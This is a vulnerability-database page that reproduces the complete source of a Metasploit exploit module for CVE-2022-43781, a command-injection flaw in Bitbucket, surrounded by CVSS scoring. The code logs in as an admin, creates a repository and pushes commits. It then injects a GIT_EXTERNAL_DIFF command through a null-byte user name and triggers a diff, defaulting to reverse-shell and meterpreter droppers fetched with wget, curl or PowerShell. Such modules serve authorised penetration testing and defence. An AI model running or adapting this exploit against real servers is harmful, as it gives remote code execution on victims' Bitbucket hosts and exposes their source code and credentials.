Lucene search

K
metasploitRy0taK, y4er, Shelby PaceMSF:EXPLOIT-MULTI-HTTP-BITBUCKET_ENV_VAR_RCE-
HistoryFeb 13, 2023 - 5:31 p.m.

Bitbucket Environment Variable RCE

2023-02-1317:31:06
Ry0taK, y4er, Shelby Pace
www.rapid7.com
92

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.521 Medium

EPSS

Percentile

97.5%

For various versions of Bitbucket, there is an authenticated command injection vulnerability that can be exploited by injecting environment variables into a user name. This module achieves remote code execution as the atlbitbucket user by injecting the GIT_EXTERNAL_DIFF environment variable, a null character as a delimiter, and arbitrary code into a user’s user name. The value (payload) of the GIT_EXTERNAL_DIFF environment variable will be run once the Bitbucket application is coerced into generating a diff. This module requires at least admin credentials, as admins and above only have the option to change their user name.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Git
  include Msf::Exploit::Git::SmartHttp
  include Msf::Exploit::CmdStager
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Bitbucket Environment Variable RCE',
        'Description' => %q{
          For various versions of Bitbucket, there is an authenticated command injection
          vulnerability that can be exploited by injecting environment
          variables into a user name. This module achieves remote code execution
          as the `atlbitbucket` user by injecting the `GIT_EXTERNAL_DIFF` environment
          variable, a null character as a delimiter, and arbitrary code into a user's
          user name. The value (payload) of the `GIT_EXTERNAL_DIFF` environment variable
          will be run once the Bitbucket application is coerced into generating a diff.

          This module requires at least admin credentials, as admins and above
          only have the option to change their user name.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Ry0taK', # Vulnerability Discovery
          'y4er', # PoC and blog post
          'Shelby Pace' # Metasploit Module
        ],
        'References' => [
          [ 'URL', 'https://y4er.com/posts/cve-2022-43781-bitbucket-server-rce/'],
          [ 'URL', 'https://confluence.atlassian.com/bitbucketserver/bitbucket-server-and-data-center-security-advisory-2022-11-16-1180141667.html'],
          [ 'CVE', '2022-43781']
        ],
        'Platform' => [ 'win', 'unix', 'linux' ],
        'Privileged' => true,
        'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],
        'Targets' => [
          [
            'Linux Command',
            {
              'Platform' => 'unix',
              'Type' => :unix_cmd,
              'Arch' => [ ARCH_CMD ],
              'Payload' => { 'Space' => 254 },
              'DefaultOptions' => { 'Payload' => 'cmd/unix/reverse_bash' }
            }
          ],
          [
            'Linux Dropper',
            {
              'Platform' => 'linux',
              'MaxLineChars' => 254,
              'Type' => :linux_dropper,
              'Arch' => [ ARCH_X86, ARCH_X64 ],
              'CmdStagerFlavor' => %i[wget curl],
              'DefaultOptions' => { 'Payload' => 'linux/x86/meterpreter/reverse_tcp' }
            }
          ],
          [
            'Windows Dropper',
            {
              'Platform' => 'win',
              'MaxLineChars' => 254,
              'Type' => :win_dropper,
              'Arch' => [ ARCH_X86, ARCH_X64 ],
              'CmdStagerFlavor' => [ :psh_invokewebrequest ],
              'DefaultOptions' => { 'Payload' => 'windows/meterpreter/reverse_tcp' }
            }
          ]
        ],
        'DisclosureDate' => '2022-11-16',
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [ CRASH_SAFE ],
          'Reliability' => [ REPEATABLE_SESSION ],
          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ]
        }
      )
    )

    register_options(
      [
        Opt::RPORT(7990),
        OptString.new('USERNAME', [ true, 'User name to log in with' ]),
        OptString.new('PASSWORD', [ true, 'Password to log in with' ]),
        OptString.new('TARGETURI', [ true, 'The URI of the Bitbucket instance', '/'])
      ]
    )
  end

  def check
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'login'),
      'keep_cookies' => true
    )

    return CheckCode::Unknown('Failed to retrieve a response from the target') unless res
    return CheckCode::Safe('Target does not appear to be Bitbucket') unless res.body.include?('Bitbucket')

    nokogiri_data = res.get_html_document
    footer = nokogiri_data&.at('footer')
    return CheckCode::Detected('Failed to retrieve version information from Bitbucket') unless footer

    version_info = footer.at('span')&.children&.text
    return CheckCode::Detected('Failed to find version information in footer section') unless version_info

    vers_matches = version_info.match(/v(\d+\.\d+\.\d+)/)
    return CheckCode::Detected('Failed to find version info in expected format') unless vers_matches && vers_matches.length > 1

    version_str = vers_matches[1]

    vprint_status("Found version #{version_str} of Bitbucket")
    major, minor, revision = version_str.split('.')
    rev_num = revision.to_i

    case major
    when '7'
      case minor
      when '0', '1', '2', '3', '4', '5'
        return CheckCode::Appears
      when '6'
        return CheckCode::Appears if rev_num >= 0 && rev_num <= 18
      when '7', '8', '9', '10', '11', '12', '13', '14', '15', '16'
        return CheckCode::Appears
      when '17'
        return CheckCode::Appears if rev_num >= 0 && rev_num <= 11
      when '18', '19', '20'
        return CheckCode::Appears
      when '21'
        return CheckCode::Appears if rev_num >= 0 && rev_num <= 5
      end
    when '8'
      print_status('Versions 8.* are vulnerable only if the mesh setting is disabled')
      case minor
      when '0'
        return CheckCode::Appears if rev_num >= 0 && rev_num <= 4
      when '1'
        return CheckCode::Appears if rev_num >= 0 && rev_num <= 4
      when '2'
        return CheckCode::Appears if rev_num >= 0 && rev_num <= 3
      when '3'
        return CheckCode::Appears if rev_num >= 0 && rev_num <= 2
      when '4'
        return CheckCode::Appears if rev_num == 0 || rev_num == 1
      end
    end

    CheckCode::Detected
  end

  def default_branch
    @default_branch ||= Rex::Text.rand_text_alpha(5..9)
  end

  def uname_payload(cmd)
    "#{datastore['USERNAME']}\u0000GIT_EXTERNAL_DIFF=$(#{cmd})"
  end

  def log_in(username, password)
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'login'),
      'keep_cookies' => true
    )

    fail_with(Failure::UnexpectedReply, 'Failed to access login page') unless res&.body&.include?('login')

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'j_atl_security_check'),
      'keep_cookies' => true,
      'vars_post' => {
        'j_username' => username,
        'j_password' => password,
        '_atl_remember_me' => 'on',
        'submit' => 'Log in'
      }
    )

    fail_with(Failure::UnexpectedReply, 'Didn\'t retrieve a response') unless res
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'projects'),
      'keep_cookies' => true
    )

    fail_with(Failure::UnexpectedReply, 'No response from the projects page') unless res
    unless res.body.include?('Logged in')
      fail_with(Failure::UnexpectedReply, 'Failed to log in. Please check credentials')
    end
  end

  def create_project
    proj_uri = normalize_uri(target_uri.path, 'projects?create')
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => proj_uri,
      'keep_cookies' => true
    )

    fail_with(Failure::UnexpectedReply, 'Unable to access project creation page') unless res&.body&.include?('Create project')

    vprint_status('Retrieving security token')
    html_doc = res.get_html_document
    token_data = html_doc.at('div//input[@name="atl_token"]')
    fail_with(Failure::UnexpectedReply, 'Failed to find element containing \'atl_token\'') unless token_data

    @token = token_data['value']
    fail_with(Failure::UnexpectedReply, 'No token found') if @token.blank?

    project_name = Rex::Text.rand_text_alpha(5..9)
    project_key = Rex::Text.rand_text_alpha(5..9).upcase
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => proj_uri,
      'keep_cookies' => true,
      'vars_post' => {
        'name' => project_name,
        'key' => project_key,
        'submit' => 'Create project',
        'atl_token' => @token
      }
    )

    fail_with(Failure::UnexpectedReply, 'Failed to receive response from project creation') unless res
    fail_with(Failure::UnexpectedReply, 'Failed to create project') unless res['Location']&.include?(project_key)

    print_status('Project creation was successful')
    [ project_name, project_key ]
  end

  def create_repository
    repo_uri = normalize_uri(target_uri.path, 'projects', @project_key, 'repos?create')
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => repo_uri,
      'keep_cookies' => true
    )

    fail_with(Failure::UnexpectedReply, 'Failed to access repo creation page') unless res

    html_doc = res.get_html_document

    dropdown_data = html_doc.at('li[@class="user-dropdown"]')
    fail_with(Failure::UnexpectedReply, 'Failed to find dropdown to retrieve email address') if dropdown_data.blank?
    email = dropdown_data&.at('span')&.[]('data-emailaddress')
    fail_with(Failure::UnexpectedReply, 'Failed to retrieve email address from response') if email.blank?

    repo_name = Rex::Text.rand_text_alpha(5..9)
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => repo_uri,
      'keep_cookies' => true,
      'vars_post' => {
        'name' => repo_name,
        'defaultBranchId' => default_branch,
        'description' => '',
        'scmId' => 'git',
        'forkable' => 'false',
        'atl_token' => @token,
        'submit' => 'Create repository'
      }
    )

    fail_with(Failure::UnexpectedReply, 'No response received from repo creation') unless res
    res = send_request_cgi(
      'method' => 'GET',
      'keep_cookies' => true,
      'uri' => normalize_uri(target_uri.path, 'projects', @project_key, 'repos', repo_name, 'browse')
    )

    fail_with(Failure::UnexpectedReply, 'Repository was not created') if res&.code == 404
    print_good("Successfully created repository '#{repo_name}'")

    [ email, repo_name ]
  end

  def generate_repo_objects(email, repo_file_data = [], parent_object = nil)
    txt_data = Rex::Text.rand_text_alpha(5..20)
    blob_object = GitObject.build_blob_object(txt_data)
    file_name = "#{Rex::Text.rand_text_alpha(4..10)}.txt"

    file_data = {
      mode: '100755',
      file_name: file_name,
      sha1: blob_object.sha1
    }

    tree_data = (repo_file_data.empty? ? [ file_data ] : [ file_data, repo_file_data ])
    tree_obj = GitObject.build_tree_object(tree_data)
    commit_obj = GitObject.build_commit_object({
      tree_sha1: tree_obj.sha1,
      email: email,
      message: Rex::Text.rand_text_alpha(4..30),
      parent_sha1: (parent_object.nil? ? nil : parent_object.sha1)
    })

    {
      objects: [ commit_obj, tree_obj, blob_object ],
      file_data: file_data
    }
  end

  # create two files in two separate commits in order
  # to view a diff and get code execution
  def create_commits(email)
    init_objects = generate_repo_objects(email)
    commit_obj = init_objects[:objects].first

    refs = {
      'HEAD' => "refs/heads/#{default_branch}",
      "refs/heads/#{default_branch}" => commit_obj.sha1
    }

    final_objects = generate_repo_objects(email, init_objects[:file_data], commit_obj)
    repo_objects = final_objects[:objects] + init_objects[:objects]
    new_commit = final_objects[:objects].first
    new_file = final_objects[:file_data][:file_name]

    git_uri = normalize_uri(target_uri.path, "scm/#{@project_key}/#{@repo_name}.git")
    res = send_receive_pack_request(
      git_uri,
      refs['HEAD'],
      repo_objects,
      '0' * 40 # no commits should exist yet, so no branch tip in repo yet
    )

    fail_with(Failure::UnexpectedReply, 'Failed to push commit to repository') unless res
    fail_with(Failure::UnexpectedReply, 'Git responded with an error') if res.body.include?('error:')
    fail_with(Failure::UnexpectedReply, 'Git push failed') unless res.body.include?('unpack ok')

    [ new_commit.sha1, commit_obj.sha1, new_file ]
  end

  def get_user_id(curr_uname)
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'admin/users/view'),
      'vars_get' => { 'name' => curr_uname }
    )

    matched_id = res.get_html_document&.xpath("//script[contains(text(), '\"name\":\"#{curr_uname}\"')]")&.first&.text&.match(/"id":(\d+)/)
    fail_with(Failure::UnexpectedReply, 'No matches found for id of user') unless matched_id && matched_id.length > 1

    matched_id[1]
  end

  def change_username(curr_uname, new_uname)
    @user_id ||= get_user_id(curr_uname)

    headers = {
      'X-Requested-With' => 'XMLHttpRequest',
      'X-AUSERID' => @user_id,
      'Origin' => "#{ssl ? 'https' : 'http'}://#{peer}"
    }

    vars = {
      'name' => curr_uname,
      'newName' => new_uname
    }.to_json

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'rest/api/latest/admin/users/rename'),
      'ctype' => 'application/json',
      'keep_cookies' => true,
      'headers' => headers,
      'data' => vars
    )

    unless res
      print_bad('Did not receive a response to the user name change request')
      return false
    end

    unless res.body.include?(new_uname) || res.body.include?('GIT_EXTERNAL_DIFF')
      print_bad('User name change was unsuccessful')
      return false
    end

    true
  end

  def commit_uri(project_key, repo_name, commit_sha)
    normalize_uri(
      target_uri.path,
      'rest/api/latest/projects',
      project_key,
      'repos',
      repo_name,
      'commits',
      commit_sha
    )
  end

  def view_commit_diff(latest_commit_sha, first_commit_sha, diff_file)
    commit_diff_uri = normalize_uri(
      commit_uri(@project_key, @repo_name, latest_commit_sha),
      'diff',
      diff_file
    )

    send_request_cgi(
      'method' => 'GET',
      'uri' => commit_diff_uri,
      'keep_cookies' => true,
      'vars_get' => { 'since' => first_commit_sha }
    )
  end

  def delete_repository(username)
    vprint_status("Attempting to delete repository '#{@repo_name}'")
    repo_uri = normalize_uri(target_uri.path, 'projects', @project_key, 'repos', @repo_name.downcase)
    res = send_request_cgi(
      'method' => 'DELETE',
      'uri' => repo_uri,
      'keep_cookies' => true,
      'headers' => {
        'X-AUSERNAME' => username,
        'X-AUSERID' => @user_id,
        'X-Requested-With' => 'XMLHttpRequest',
        'Origin' => "#{ssl ? 'https' : 'http'}://#{peer}",
        'ctype' => 'application/json',
        'Accept' => 'application/json, text/javascript'
      }
    )

    unless res&.body&.include?('scheduled for deletion')
      print_warning('Failed to delete repository')
      return
    end

    print_good('Repository has been deleted')
  end

  def delete_project(username)
    vprint_status("Now attempting to delete project '#{@project_name}'")
    send_request_cgi( # fails to return a response
      'method' => 'DELETE',
      'uri' => normalize_uri(target_uri.path, 'projects', @project_key),
      'keep_cookies' => true,
      'headers' => {
        'X-AUSERNAME' => username,
        'X-AUSERID' => @user_id,
        'X-Requested-With' => 'XMLHttpRequest',
        'Origin' => "#{ssl ? 'https' : 'http'}://#{peer}",
        'Referer' => "#{ssl ? 'https' : 'http'}://#{peer}/projects/#{@project_key}/settings",
        'ctype' => 'application/json',
        'Accept' => 'application/json, text/javascript, */*; q=0.01',
        'Accept-Encoding' => 'gzip, deflate'
      }
    )

    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'projects', @project_key),
      'keep_cookies' => true
    )

    unless res&.code == 404
      print_warning('Failed to delete project')
      return
    end

    print_good('Project has been deleted')
  end

  def get_repo
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'rest/api/latest/repos'),
      'keep_cookies' => true
    )

    unless res
      print_status('Couldn\'t access repos page. Will create repo')
      return []
    end

    json_data = JSON.parse(res.body)
    unless json_data && json_data['size'] >= 1
      print_status('No accessible repositories. Will attempt to create a repo')
      return []
    end

    repo_data = json_data['values'].first
    repo_name = repo_data['slug']
    project_key = repo_data['project']['key']

    unless repo_name && project_key
      print_status('Could not find repo name and key. Creating repo')
      return []
    end

    [ repo_name, project_key ]
  end

  def get_repo_info
    unless @project_name && @project_key
      print_status('Failed to find valid project information. Will attempt to create repo')
      return nil
    end

    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri('projects', @project_key, 'repos', @project_name, 'commits'),
      'keep_cookies' => true
    )

    unless res
      print_status("Failed to access existing repository #{@project_name}")
      return nil
    end

    html_doc = res.get_html_document
    commit_data = html_doc.search('a[@class="commitid"]')
    unless commit_data && commit_data.length > 1
      print_status('No commits found for existing repo')
      return nil
    end

    latest_commit = commit_data[0]['data-commitid']
    prev_commit = commit_data[1]['data-commitid']

    file_uri = normalize_uri(commit_uri(@project_key, @project_name, latest_commit), 'changes')
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => file_uri,
      'keep_cookies' => true
    )

    return nil unless res

    json = JSON.parse(res.body)
    return nil unless json['values']

    path = json['values']&.first&.dig('path')
    return nil unless path

    [ latest_commit, prev_commit, path['name'] ]
  end

  def exploit
    @use_public_repo = true
    datastore['GIT_USERNAME'] = datastore['USERNAME']
    datastore['GIT_PASSWORD'] = datastore['PASSWORD']

    if datastore['USERNAME'].blank? && datastore['PASSWORD'].blank?
      fail_with(Failure::BadConfig, 'No credentials to log in with.')
    end

    log_in(datastore['USERNAME'], datastore['PASSWORD'])
    @curr_uname = datastore['USERNAME']

    @project_name, @project_key = get_repo
    @repo_name = @project_name
    @latest_commit, @first_commit, @diff_file = get_repo_info
    unless @latest_commit && @first_commit && @diff_file
      @use_public_repo = false
      @project_name, @project_key = create_project
      email, @repo_name = create_repository
      @latest_commit, @first_commit, @diff_file = create_commits(email)
      print_good("Commits added: #{@first_commit}, #{@latest_commit}")
    end

    print_status('Sending payload')
    case target['Type']
    when :win_dropper
      execute_cmdstager(linemax: target['MaxLineChars'] - uname_payload('cmd.exe /c ').length, noconcat: true, temp: '.')
    when :linux_dropper
      execute_cmdstager(linemax: target['MaxLineChars'], noconcat: true)
    when :unix_cmd
      execute_command(payload.encoded.strip)
    end
  end

  def cleanup
    if @curr_uname != datastore['USERNAME']
      print_status("Changing user name back to '#{datastore['USERNAME']}'")

      if change_username(@curr_uname, datastore['USERNAME'])
        @curr_uname = datastore['USERNAME']
      else
        print_warning('User name is still set to payload.' \
                      "Please manually change the user name back to #{datastore['USERNAME']}")
      end
    end

    unless @use_public_repo
      delete_repository(@curr_uname) if @repo_name
      delete_project(@curr_uname) if @project_name
    end
  end

  def execute_command(cmd, _opts = {})
    if target['Platform'] == 'win'
      curr_payload = (cmd.ends_with?('.exe') ? uname_payload("cmd.exe /c #{cmd}") : uname_payload(cmd))
    else
      curr_payload = uname_payload(cmd)
    end

    unless change_username(@curr_uname, curr_payload)
      fail_with(Failure::UnexpectedReply, 'Failed to change user name to payload')
    end

    view_commit_diff(@latest_commit, @first_commit, @diff_file)
    @curr_uname = curr_payload
  end
end

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.521 Medium

EPSS

Percentile

97.5%

Related for MSF:EXPLOIT-MULTI-HTTP-BITBUCKET_ENV_VAR_RCE-